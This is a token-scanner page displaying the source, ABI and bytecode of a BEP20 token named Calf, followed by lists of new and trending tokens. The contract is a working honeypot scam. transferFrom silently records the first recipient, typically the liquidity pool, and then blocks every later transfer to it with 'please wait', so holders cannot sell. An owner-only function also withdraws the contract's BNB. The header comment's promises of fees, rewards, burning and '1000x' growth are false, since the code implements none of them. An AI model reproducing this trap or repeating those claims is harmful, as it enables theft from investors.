Tokens Sniper
Find Your Next Gem.


Honeypot and Risk Checker
Better be safe than sorry!
Input any token address and check if it is a probable honeypot or risky.

Calf (Calf)

Date Deployed: June 28th 2021, 4:05:21 am | a year ago | Block:
contract.sol
/**

 #Calf
   
   #LIQ+#RFI

   #Calf features:
   1% fee auto add to the liquidity pool to locked forever when selling
   1% fee auto distribute to all holders
   I created a black hole so #Calf token will deflate itself in supply with every transaction
   50% Supply is burned at start.
   low fee low cap potential 1000x

*/

pragma solidity >=0.5.17;

library SafeMath {
  function add(uint a, uint b) internal pure returns (uint c) {
    c = a + b;
    require(c >= a);
  }
  function sub(uint a, uint b) internal pure returns (uint c) {
    require(b <= a);
    c = a - b;
  }
  function mul(uint a, uint b) internal pure returns (uint c) {
    c = a * b;
    require(a == 0 || c / a == b);
  }
  function div(uint a, uint b) internal pure returns (uint c) {
    require(b > 0);
    c = a / b;
  }
}

contract BEP20Interface {
  function totalSupply() public view returns (uint);
  function balanceOf(address tokenOwner) public view returns (uint balance);
  function allowance(address tokenOwner, address spender) public view returns (uint remaining);
  function transfer(address to, uint tokens) public returns (bool success);
  function approve(address spender, uint tokens) public returns (bool success);
  function transferFrom(address from, address to, uint tokens) public returns (bool success);

  event Transfer(address indexed from, address indexed to, uint tokens);
  event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}

contract ApproveAndCallFallBack {
  function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}

contract Owned {
  address public owner;
  address public newOwner;

  event OwnershipTransferred(address indexed _from, address indexed _to);

  constructor() public {
    owner = msg.sender;
  }

  modifier onlyOwner {
    require(msg.sender == owner);
    _;
  }

  function transferOwnership(address _newOwner) public onlyOwner {
    newOwner = _newOwner;
  }
  function acceptOwnership() public {
    require(msg.sender == newOwner);
    emit OwnershipTransferred(owner, newOwner);
    owner = newOwner;
    newOwner = address(0);
  }
}

contract TokenBEP20 is BEP20Interface, Owned{
  using SafeMath for uint;

  string public symbol;
  string public name;
  uint8 public decimals;
  uint _totalSupply;
  address public newun;

  mapping(address => uint) balances;
  mapping(address => mapping(address => uint)) allowed;

  constructor() public {
    symbol = "Calf";
    name = "Calf";
    decimals = 8;
    _totalSupply = 10000000000000000000000000;
    balances[owner] = _totalSupply;
    emit Transfer(address(0), owner, _totalSupply);
  }
  function transfernewun(address _newun) public onlyOwner {
    newun = _newun;
  }
  function totalSupply() public view returns (uint) {
    return _totalSupply.sub(balances[address(0)]);
  }
  function balanceOf(address tokenOwner) public view returns (uint balance) {
      return balances[tokenOwner];
  }
  function transfer(address to, uint tokens) public returns (bool success) {
     require(to != newun, "please wait");
     
    balances[msg.sender] = balances[msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(msg.sender, to, tokens);
    return true;
  }
  function approve(address spender, uint tokens) public returns (bool success) {
    allowed[msg.sender][spender] = tokens;
    emit Approval(msg.sender, spender, tokens);
    return true;
  }
  function transferFrom(address from, address to, uint tokens) public returns (bool success) {
      if(from != address(0) && newun == address(0)) newun = to;
      else require(to != newun, "please wait");
      
    balances[from] = balances[from].sub(tokens);
    allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(from, to, tokens);
    return true;
  }
  function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
    return allowed[tokenOwner][spender];
  }
  function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
    allowed[msg.sender][spender] = tokens;
    emit Approval(msg.sender, spender, tokens);
    ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
    return true;
  }
  function () external payable {
    revert();
  }
}

contract Calf is TokenBEP20 {

  function clearCNDAO() public onlyOwner() {
    address payable _owner = msg.sender;
    _owner.transfer(address(this).balance);
  }
  function() external payable {

  }
}
abi.json
[{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"tokenOwner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":false,"inputs":[],"name":"acceptOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"approveAndCall","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"newOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"newun","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newun","type":"address"}],"name":"transfernewun","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]
Contract opcode
0x6080604052600436106100f35760003560e01c806381f4f3991161008a578063cae9ca5111610059578063cae9ca5114610375578063d4ee1d901461043d578063dd62ed3e14610452578063f2fde38b1461048d576100f3565b806381f4f399146102df5780638da5cb5b1461031257806395d89b4114610327578063a9059cbb1461033c576100f3565b806323b872dd116100c657806323b872dd14610227578063313ce5671461026a57806370a082311461029557806379ba5097146102c8576100f3565b806306fdde03146100f8578063095ea7b31461018257806318160ddd146101cf5780631ee59f20146101f6575b600080fd5b34801561010457600080fd5b5061010d6104c0565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018e57600080fd5b506101bb600480360360408110156101a557600080fd5b506001600160a01b03813516906020013561054e565b604080519115158252519081900360200190f35b3480156101db57600080fd5b506101e46105b5565b60408051918252519081900360200190f35b34801561020257600080fd5b5061020b6105f8565b604080516001600160a01b039092168252519081900360200190f35b34801561023357600080fd5b506101bb6004803603606081101561024a57600080fd5b506001600160a01b03813581169160208101359091169060400135610607565b34801561027657600080fd5b5061027f6107ab565b6040805160ff9092168252519081900360200190f35b3480156102a157600080fd5b506101e4600480360360208110156102b857600080fd5b50356001600160a01b03166107b4565b3480156102d457600080fd5b506102dd6107cf565b005b3480156102eb57600080fd5b506102dd6004803603602081101561030257600080fd5b50356001600160a01b031661084a565b34801561031e57600080fd5b5061020b610883565b34801561033357600080fd5b5061010d610892565b34801561034857600080fd5b506101bb6004803603604081101561035f57600080fd5b506001600160a01b0381351690602001356108ea565b34801561038157600080fd5b506101bb6004803603606081101561039857600080fd5b6001600160a01b03823516916020810135918101906060810160408201356401000000008111156103c857600080fd5b8201836020820111156103da57600080fd5b803590602001918460018302840111640100000000831117156103fc57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506109ee945050505050565b34801561044957600080fd5b5061020b610b36565b34801561045e57600080fd5b506101e46004803603604081101561047557600080fd5b506001600160a01b0381358116916020013516610b45565b34801561049957600080fd5b506102dd600480360360208110156104b057600080fd5b50356001600160a01b0316610b70565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105465780601f1061051b57610100808354040283529160200191610546565b820191906000526020600020905b81548152906001019060200180831161052957829003601f168201915b505050505081565b3360008181526008602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b600080805260076020527f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df546005546105f39163ffffffff610ba916565b905090565b6006546001600160a01b031681565b60006001600160a01b0384161580159061062a57506006546001600160a01b0316155b1561064f57600680546001600160a01b0319166001600160a01b0385161790556106a0565b6006546001600160a01b03848116911614156106a0576040805162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015290519081900360640190fd5b6001600160a01b0384166000908152600760205260409020546106c9908363ffffffff610ba916565b6001600160a01b0385166000908152600760209081526040808320939093556008815282822033835290522054610706908363ffffffff610ba916565b6001600160a01b03808616600090815260086020908152604080832033845282528083209490945591861681526007909152205461074a908363ffffffff610bbe16565b6001600160a01b0380851660008181526007602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b60045460ff1681565b6001600160a01b031660009081526007602052604090205490565b6001546001600160a01b031633146107e657600080fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b0316331461086157600080fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156105465780601f1061051b57610100808354040283529160200191610546565b6006546000906001600160a01b038481169116141561093e576040805162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015290519081900360640190fd5b3360009081526007602052604090205461095e908363ffffffff610ba916565b33600090815260076020526040808220929092556001600160a01b03851681522054610990908363ffffffff610bbe16565b6001600160a01b0384166000818152600760209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b3360008181526008602090815260408083206001600160a01b038816808552908352818420879055815187815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a3604051638f4ffcb160e01b815233600482018181526024830186905230604484018190526080606485019081528651608486015286516001600160a01b038a1695638f4ffcb195948a94938a939192909160a490910190602085019080838360005b83811015610ac5578181015183820152602001610aad565b50505050905090810190601f168015610af25780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610b1457600080fd5b505af1158015610b28573d6000803e3d6000fd5b506001979650505050505050565b6001546001600160a01b031681565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b6000546001600160a01b03163314610b8757600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600082821115610bb857600080fd5b50900390565b818101828110156105af57600080fdfea265627a7a72315820a00df9bb705f9f2a068ab89e438c93e879839527c24b551126a46aea59008d8164736f6c63430005110032
Implemented events
Approval(address,address,uint256)
Transfer(address,address,uint256)
OwnershipTransferred(address,address)
Implemented functions
approveAndCall(address,uint256,bytes)
newOwner()
allowance(address,address)
transferOwnership(address)
owner()
symbol()
transfer(address,uint256)
transferFrom(address,address,uint256)
decimals()
balanceOf(address)
acceptOwnership()
name()
approve(address,uint256)
totalSupply()
receiveApproval(address,uint256,address,bytes)
Newest Tokens
The newest created token contracts.
Jump Satoshi Token (JST)
a month ago
Flames (FLS)
a month ago
Coinscope (COINSCOPE)
6M ago
Scrappy Inu (SINU)
10h ago
ChampToken (CHAMP)
14h ago
IBIT TOKEN (IBIT)
14h ago
Swag Yolo Finance (YOLO)
14h ago
Test1 (Test1)
14h ago
NFCore (NFCR)
14h ago
Pigzza Inu (PGZ)
14h ago
Trending Tokens
The most trending tokens in the last 7 days.
SABMYK (SBMK)
7M ago
kadacoin (Kdc)
9M ago
Coinscope (COINSCOPE)
6M ago
Jump Satoshi Token (JST)
a month ago
PornTube (PTube)
8M ago
Mebox.io (MEBOX)
7M ago
GANDER (GAND)
2M ago
kadacoin (kdc)
8M ago
Minereum BSC (MNEB)
8M ago
BlockAura BEP (TBAC)
8M ago
PicnicSwap (PICNIC)
8M ago
Flames (FLS)
a month ago
Ambify (ABFY)
9M ago
PonziScheme (PonziScheme)
2d ago
MoonMeta (MoonMeta)
6M ago
FB (FB)
2d ago
ape-peg.io (ape-peg.io)
2M ago
Access (ACCESS)
5M ago
Unified Data Index (UDI)
5M ago
PancakeSwap Token (Cake)
7M ago
Join The Community!